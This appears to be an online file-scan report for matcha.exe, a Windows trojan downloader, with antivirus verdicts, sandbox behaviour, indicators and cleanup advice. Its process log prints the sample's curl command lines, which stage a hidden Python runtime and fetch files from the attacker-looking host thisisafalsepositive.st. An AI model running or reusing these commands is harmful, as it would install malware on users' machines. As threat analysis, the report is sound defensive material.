File scan report
Verdict Malicious
Is matcha.
The evidence strongly indicates a trojan downloader, with Microsoft naming Doina and Kaspersky naming Magnar.
Strong evidence · Two or more major antivirus engines agree.
If you already ran it, follow the steps below.
What to do now4 steps
This file is harmful. Don't run it, and remove it.
If you haven't run it
Don't run this file. Delete it, then empty the Recycle Bin.
If you already ran it
Disconnect the device from the internet, then run a full antivirus scan. Microsoft Defender Offline (Windows Security > Virus & threat protection > Scan options) also finds malware that hides while Windows runs.
If any of your files were locked or renamed, don't pay the ransom: payment rarely brings files back. Restore them from a backup instead.
If the scan keeps finding it, or the device still acts strangely, scan again with a second-opinion scanner from another company; if that doesn't fix it, back up your personal files and reinstall Windows.
If you already ran it, do these in order.
If you opened or installed it
Avoid banking and sign-ins on that device until it is clean. These free MalwareTips guides walk you through it.
- Trojan removal guideClear steps for Windows, Mac and Android. (opens malwaretips.com in a new tab)
- Remove malware from WindowsStep-by-step cleanup with free tools. (opens malwaretips.com in a new tab)
- Ask for free help on the MalwareTips forumWindows malware removal help, answered by volunteers. (opens malwaretips.com in a new tab)
Paste this report's link in your topic so helpers can see what was found.
Antivirus results
44 of 67 flagged
- Flagged 44
- No detection 23
- No result 8
- Code signing Unsigned
- Test run Completed
- First seen 1mo ago
Chapter 02
Why we think so
6 points against it and 3 in its favour, checked against the scan evidence.
The reasoning behind this verdict
A sandbox returned a malware finding and observed temporary executables, Python bootstrap downloads, and five offensive MITRE techniques; do not run the file.
Detection is broad: 44 of the 67 antivirus engines that checked it flagged the executable, including ten major antivirus engines and 37 independent engine votes. Microsoft identifies Doina, while Kaspersky and several other engines identify downloader or Kryptik-style trojan activity, though exact family naming varies. The completed sandbox run produced a malware finding and mapped the activity to T1485, T1486, T1562.001, T1548, and T1055. Runtime records also show temporary executables and curl-based retrieval of Python components, consistent with staged setup. The file is unsigned, has only two recorded submitters, and lacks an established publisher history. The absence of known-bad contacted hosts and external-intelligence matches does not outweigh the major detections and hostile evidence from the test run.
What We Detected
Forty-four of the 67 antivirus engines that checked it flagged matcha.exe, including ten major antivirus engines and 37 independent detection votes. Microsoft identifies Doina, Kaspersky identifies Magnar, and ESET-NOD32 and Fortinet use Kryptik or GenKryptik labels. Family naming is not fully consistent, but the engines broadly agree that the executable is a trojan or downloader.
Threat Behavior
The completed sandbox run returned a malware finding. It recorded the launch of temporary executables, followed by curl commands that downloaded an embedded Python archive and the pip bootstrap script into a Windows profile-like directory. The T1055 mapping indicates possible injection, but no target process was identified.
The host-reputation check covered all 18 distinct observed hosts and found no currently known-malicious or suspicious entries. That counter-signal is limited because ordinary services and trusted infrastructure can still support staged execution. Ten dropped files also have no saved verdict, so they provide no conclusive evidence either way.
What To Do Now
Do not launch the executable. Quarantine or delete it while keeping security software enabled. If it has already run, disconnect the system from the network, perform a full endpoint scan, inspect persistence and recently created files, and change sensitive credentials from a separate trusted device.
Where this verdict could be wrong4 caveats
- The completed host-reputation cross-check found no known-malicious or suspicious hosts among 18 observed contacts, although trusted infrastructure can still be used during payload setup.
- No malware-specific YARAify, MalwareBazaar, or CIRCL hit corroborated the sample.
- The two major antivirus engines naming Doina do not meet the three-engine threshold for strong family consensus.
- Ten dropped files lack saved verdicts, so their safety remains unresolved rather than established.
These are the assessment's weak points. If you believe one applies to your file, report the verdict and we'll re-review it.
- The completed reputation check found no known-malicious or suspicious entries among all 18 observed contacted hosts.
- No malware-specific external research rule or sample-feed match was available.
- No high-entropy code or recognized packer was identified.
- Forty-four of the 67 antivirus engines that checked it flagged the executable, including ten major antivirus engines.
- The sandbox returned a malware finding and recorded five offensive MITRE techniques.
- The sample launched temporary executables and downloaded Python components through command-line tools.
- The executable has no digital signature or established publisher history.
- Only two submitters have been recorded, providing little benign prevalence evidence.
- Engine labels repeatedly describe a trojan, downloader, or obfuscated Kryptik-style payload.
6 sources checked · all complete. See every source
Chapter 03
What it did in our test
It ran in our isolated test environment; 1 test environment rated what it did as risky.
Test run summary
Capture complete- 22sandbox rule tags
- 12spawned processes
- 18network contacts
- 31filesystem & mutex artifacts
What the test run showed
What the file did on a test computer
Confirmed in the test run
High concern: Encrypted files on the test computer, as ransomware does.
Moderate concern: Contains packed or scrambled code that is harder to inspect (common in installers too).
Moderate concern: Hid files or windows on the test computer.
Note: Read the user name of the test computer.
Note: Deleted files or logs during the test run (installers often clean up after themselves).
Note: Talked to servers over the internet during the test run.
Note: Read basic details of the test computer, such as its Windows version.
Sandbox labels we could not confirm (common in safe files too)
Not confirmed: A sandbox rule tagged this run as code injection, but no injected program was recorded.
Not confirmed: A sandbox rule tagged this run as weakening security settings; no setting change was recorded.
Not confirmed: A sandbox rule tagged this run as changing how Windows loads code; nothing confirms it.
This file was run on a test computer (a sandbox), not on yours. Labels we could not confirm are listed so you can see them, but they are not treated as evidence against the file.
Threat context
How downloaders work
This file is a delivery vehicle. On its own it can look small and harmless, but its job is to fetch and install the real payload, often a password stealer, ransomware or a bot, from a server the attacker controls.
Bottom line:Because the dangerous part arrives later, early scans can look cleaner than the threat really is.
Recorded behavior
What happened in the test
Grouped by step. The order is not a timeline.
- 1
Input file
The submitted object
- Evidence 1 of 7: FileSeen in the test run
matcha.exe
1c807dbf94aa75e99f977124e57e43631af47ce1ecc70f791a929742bfcaf5a5
Uploaded file
- 2
Processes
What ran
- Evidence 2 of 7: ProcessSeen in the test run
matcha.exe
"C:\Users\<USER>\Desktop\matcha.exe"
Test run - Evidence 3 of 7: ProcessSeen in the test run
matrixhub.exe
"C:\Users\<USER>\AppData\Local\Temp\BE32889A\matrixhub.exe"
Test run - +1 more recorded observation
- 2
Files
Created or changed
- Evidence 4 of 7: Written fileSeen in the test run
matrixhub.exe
C:\Users\<USER>\AppData\Local\Temp\BE32889A\matrixhub.exe
Test run - Evidence 5 of 7: Written fileSeen in the test run
Launcher.exe
C:\Users\<USER>\AppData\Local\Temp\3552889A\Launcher.exe
Test run - +1 more recorded observation
- 2
Network
Hosts contacted
- Evidence 6 of 7: Contacted hostSeen in the test run
polygon-rpc.com
Contacted during the test run.
Test run - Evidence 7 of 7: Contacted hostWorked out from other results
rpc-mainnet.matic.quiknode.pro
Saved reputation verdict: safe.
Contacted-host cross-check - +1 more recorded observation
7 facts from the test run. See the full activity list.
What this file did when executed
The combined sandbox summary includes a "malicious" verdict.
Sandbox verdicts
1- VT: MALWAREmalicious
Techniques observed in the sandbox
22MITRE ATT&CK techniques the sandbox mapped. Highlighted ones are rare in normal software; the others are common in legitimate programs too.
- T1027· Obfuscated code
- T1027.002· Obfuscated code
- T1033· Reads user info
- T1036
- T1055· Process injection
- T1070· Covers its tracks
- T1071· Application protocol
- T1082· System recon
- T1083· Scans your files
- T1106
- T1129· Loads modules
- T1202
- T1485
- T1486· File encryption
- T1518· Checks your AV
- T1548
- T1562· Disables security
- T1562.001· Disables security
- T1564· Hides artifacts
- T1564.003· Hides artifacts
- T1573
- T1574· Execution hijack
Observed activity
Processes started
12Programs the file ran, with their command lines.
matcha.exe"C:\Users\<USER>\Desktop\matcha.exe"matrixhub.exe"C:\Users\<USER>\AppData\Local\Temp\BE32889A\matrixhub.exe"Launcher.exe"C:\Users\<USER>\AppData\Local\Temp\3552889A\Launcher.exe"curl"curl" "-k" "-L" "-s" "-o" "C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"tar"tar" "-xf" "C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip" "-C" "C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex"curl"curl" "-k" "-L" "-s" "-o" "C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py" "https://bootstrap.pypa.io/get-pip.py"
Show all 12 entries for processes started
python.exe"C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py"cmd.exeC:\Windows\system32\cmd.exe /c "ver"cmd.exeC:\Windows\system32\cmd.exe /c "command /c ver"cmd.exeC:\Windows\system32\cmd.exe /c "cmd /c ver"c ver"cmd /c ver"curl"curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\requirements.txt" "https://thisisafalsepositive.st/cdn/5ef451455923"
Network contacts
1818 hosts, listed as 9 domains, 9 addresses, 5 links. Links show the host and path only.
- Domain
polygon-rpc.com - Domain
rpc-mainnet.matic.quiknode.pro - Domain
www.python.org - Domain
bootstrap.pypa.io - Domain
pypi.org - Domain
files.pythonhosted.org
Show all 23 entries for network contacts
- Domain
thisisafalsepositive.st - Domain
dualstack.python.map.fastly.net - Domain
dualstack.c.ssl.global.fastly.net - IP address
198.178.224.35 - IP address
150.136.141.142 - IP address
151.101.64.223 - IP address
151.101.64.175 - IP address
151.101.0.223 - IP address
185.178.208.191 - IP address
151.101.128.223 - IP address
151.101.192.175 - IP address
132.145.155.63 - URL
https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip - URL
https://bootstrap.pypa.io/get-pip.py - URL
https://thisisafalsepositive.st/cdn/5ef451455923 - URL
https://thisisafalsepositive.st/cdn/e/42a522313d92 - URL
https://thisisafalsepositive.st/cdn/e/36f2c0035ef9
Files
30Files the file created, changed or deleted.
- Written
C:\Users\<USER>\AppData\Local\Temp\BE32889A\matrixhub.exe - Written
C:\Users\<USER>\AppData\Local\Temp\3552889A\Launcher.exe - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\python312._pth - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\main.py - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\app.pyd
Show all 30 entries for files
- Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\pythonw.exe - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\python312.dll - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\python3.dll - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\vcruntime140.dll - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\vcruntime140_1.dll - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\LICENSE.txt - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\pyexpat.pyd - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\main.py.downloading - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\app.pyd.downloading - Deleted
C:\Users\<USER>\AppData\Local\Temp\vrhtegv3 - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\accesstest_deleteme_fishfingers_custard_9eamrs - Deleted
C:\Users\<USER>\AppData\Local\pip\cache\http-v2\a\1\9\5\3\a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9ah80n3wfz.tmp - Deleted
C:\Users\<USER>\AppData\Local\pip\cache\http-v2\a\1\9\5\3\a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9a.bodywy5vesnn.tmp - Deleted
C:\Users\<USER>\AppData\Local\pip\cache\http-v2\0\e\1\a\1\0e1a1835910df4986c9270aec010ac01d7cf2dd6931386c077df5aa3_tf8q2x0.tmp - Deleted
C:\Users\<USER>\AppData\Local\pip\cache\http-v2\0\e\1\a\1\0e1a1835910df4986c9270aec010ac01d7cf2dd6931386c077df5aa3.bodyeln3ho28.tmp - Deleted
C:\Users\<USER>\AppData\Local\pip\cache\http-v2\8\9\1\7\2\89172e1b67e9e3c9854025385bfb7d37adaa89601789d98df17ff2eauq__lp9d.tmp - Deleted
C:\Users\<USER>\AppData\Local\pip\cache\http-v2\8\9\1\7\2\89172e1b67e9e3c9854025385bfb7d37adaa89601789d98df17ff2ea.bodyu76zz428.tmp - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\__pycache__\__init__.cpython-312.pyc.2337739002208 - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\__pycache__\__main__.cpython-312.pyc.2337739004320
Mutexes
1Named locks a program uses so only one copy runs; malware families often reuse them.
Global\OneSettingQueryMutex+compat+encapsulation
Sandbox background — not the file
3The analysis machine's own processes and connections, recorded in every run.
- VM process
services.exeC:\Windows\system32\services.exe - VM process
svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p - VM process
svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup
Files this sample writes at runtime
This file drops 10 children at runtime. None are currently flagged malicious in our cache. 10 have no saved verdict and were not checked; that is missing coverage, not a finding.
- d6e69653fdccce0554f3…cfd659Not checkedno saved verdict
- e1ea4624b09a88ac2a48…ca960dNot checkedno saved verdict
- b095fa2eac97496b5150…2ddc0cNot checkedno saved verdict
- f75fd79638421d6c8235…1c5bd6Not checkedno saved verdict
- 6626c5e14a4a21f14132…aae8edNot checkedno saved verdict
- ebf3569e713266edcf11…f294d1Not checkedno saved verdict
- 1e8658435b15403dc846…272566Not checkedno saved verdict
- 84dbe73073972c0c8d97…587d5fNot checkedno saved verdict
- 184fc13677c7856e7a8b…0ffdf3Not checkedno saved verdict
- b4cec162b985d34ab768…89b137Not checkedno saved verdict
Chapter 04
Technical details
44 of the 67 antivirus engines that checked it flag it; no publisher signature.
Sources checked
Every check behind this verdict
6 sources checked · all complete. Complete means the check returned a usable result; it does not mean the file is safe.
Engines that flagged it 44
- Avira (major engine)TR/W64.Evo
- BitDefender (major engine)Gen:Variant.Midie.179734
- Emsisoft (major engine)Dump:Generic.Dacic.11262.1853EE80 (B)
- ESET-NOD32 (major engine)Win64/Kryptik.HSU trojan
- F-Secure (major engine)Trojan.TR/W64.Evo
- Fortinet (major engine)W64/GenKryptik.HQGK!tr
- GData (major engine)Dump:Generic.Dacic.11262.1853EE80
- Ikarus (major engine)Trojan.Win64.Krypt
File fingerprint
- Last analyzed
- Oct 10, 2026, 8:02 PM UTC
- SHA-256
1c807dbf94aa75e99f977124e57e43631af47ce1ecc70f791a929742bfcaf5a5- SHA-1
b30986bbfb3a69acfa1b0f91dc1af5b304565656- MD5
2619dcc9f9addb95dcbce365e02ebc09
About this file
matcha.exe is a Win32 EXE file of 777.2 kB.
- Type and size
- Win32 EXE · 777.2 kB
- Signer
- UnsignedNo code signature.
- First seen
- Sep 25, 2026On VirusTotal.
- Submitted by
- 2 distinct sourcesRarely seen: few people have submitted this exact file.
- Packer
- None detected
- Entropy
- 5.99 of 8
First scanned
Antivirus consensus
44 of 67 engines flagged this file
8 of the 75 engines returned no result for this file (file type not supported, or the scan did not finish), so they did not check it.
The 44 detections come from 36 independent scan engines: several vendors license the same engine, so their results are one vote.
- Tier-114 engines10flagged13 vendors sharing 10 engines
- Tier-236 engines16flagged20 vendors sharing 16 engines
- Low-trust17 engines11flagged
View all 75 engine results
- AhnLab-V3Malicious: Trojan/Win.Generic.R765084
- AlibabaMalicious: TrojanDownloader:Win64/Magnar.dd40c0f7
- alibabacloudMalicious: Trojan[downloader]:Win/Doina.SC8PHU
- ALYacMalicious: Dump:Generic.Dacic.11262.1853EE80
- Antiy-AVLMalicious: Trojan/Win32.Etset
- APEXMalicious: Malicious
- ArcabitMalicious: Dump:Generic.Dacic.11262.1853EE80
- AviraMalicious: TR/W64.Evo
- BitDefenderMalicious: Gen:Variant.Midie.179734
- BkavMalicious: W32.Malware.4A94BD22
- CrowdStrikeMalicious: win/malicious_confidence_100% (D)
- CTXMalicious: exe.trojan.generic
- CylanceMalicious: Unsafe
- CynetMalicious: Malicious (score: 99)
- ElasticMalicious: malicious (high confidence)
- EmsisoftMalicious: Dump:Generic.Dacic.11262.1853EE80 (B)
- ESET-NOD32Malicious: Win64/Kryptik.HSU trojan
- F-SecureMalicious: Trojan.TR/W64.Evo
- FortinetMalicious: W64/GenKryptik.HQGK!tr
- GDataMalicious: Dump:Generic.Dacic.11262.1853EE80
- GoogleMalicious: Detected
- GridinsoftMalicious: Trojan.Win64.Kryptik.sa
- huorongMalicious: Trojan/Obfuscated.jg
- IkarusMalicious: Trojan.Win64.Krypt
- K7AntiVirusMalicious: Trojan-Downloader ( 006e76071 )
- K7GWMalicious: Trojan-Downloader ( 006e76071 )
- KasperskyMalicious: UDS:Trojan-Downloader.Win32.Magnar.ls
- KingsoftMalicious: malware.kb.a.980
- LionicMalicious: Trojan.Win32.Magnar.a!c
- MalwarebytesMalicious: Malware.AI.2306643450
- McAfeeDMalicious: ti!1C807DBF94AA
- MicrosoftMalicious: Trojan:Win64/Doina.SU!MTB
- MicroWorld-eScanMalicious: Gen:Variant.Midie.179734
- PaloaltoMalicious: generic.ml
- PandaMalicious: Trj/CI.A
- RisingMalicious: Trojan.Lazy!8.8EC3 (TFE:4:N7au4O3z2iE)
- SangforMalicious: Trojan.Win64.Kryptik.Vwgq
- SophosMalicious: Mal/Generic-S
- SymantecMalicious: ML.Attribute.HighConfidence
- TencentMalicious: Malware.Win32.Gencirc.14b5ca8c
- TrendMicro-HouseCallMalicious: Trojan.Win64.DOINA.USBLIP26
- VaristMalicious: W64/AEiApp.41EDBCAC!Eldorado
- VIPREMalicious: Dump:Generic.Dacic.11262.1853EE80
- ViRobotMalicious: Trojan.Win.Z.Midie.777216
- AcronisClean
- AvastNo result
- Avast-MobileNo result
- AVGNo result
- BitDefenderFalxNo result
- CAT-QuickHealClean
- ClamAVClean
- CMCClean
- DeepInstinctClean
- DrWebClean
- JiangminClean
- MaxSecureClean
- NANO-AntivirusClean
- SentinelOneClean
- SkyhighClean
- SUPERAntiSpywareClean
- SymantecMobileInsightNo result
- TACHYONClean
- tehtrisClean
- TrapmineClean
- TrellixENSNo result
- TrendMicroNo result
- TrustlookNo result
- VBA32Clean
- VirITClean
- WebrootClean
- XcitiumClean
- YandexClean
- ZillyaClean
- ZoneAlarmClean
- ZonerClean
Signatures and behavior heuristics
Low-severity pattern matches — worth noting but not on their own cause for alarm.
VirusTotal's sandbox summary maps this run to MITRE T1055 (Process Injection), but no injected process of the sample's own was recorded (the analysis VM's own WMI adapter, crash handlers and Chrome updater are not counted). VirusTotal maps T1055 on about half of all files no engine flags, so the mapping alone is not evidence of injection.
EvidenceT1055 (sandbox MITRE mapping)
Section entropy & packers
No high-entropy executable section or known packer signature was detected. Data and resource sections can still have high entropy without indicating packed code.
How widely this file has been seen
Rarely uploaded, and first seen more than two weeks ago. Often niche legitimate software or internal tooling; not a strong malware signal on its own.
Chapter 05
Questions & answers
Short answers to the 8 questions people ask most about this file.
Is matcha.exe malware?
What is matcha.exe?
How many antivirus engines detected matcha.exe?
I already downloaded and ran matcha.exe — what should I do?
How do I remove matcha.exe?
What kind of malware is matcha.exe?
What is the SHA-256 hash of matcha.exe?
How up to date is this analysis of matcha.exe?
Community
Member reviews and reports for this exact file hash.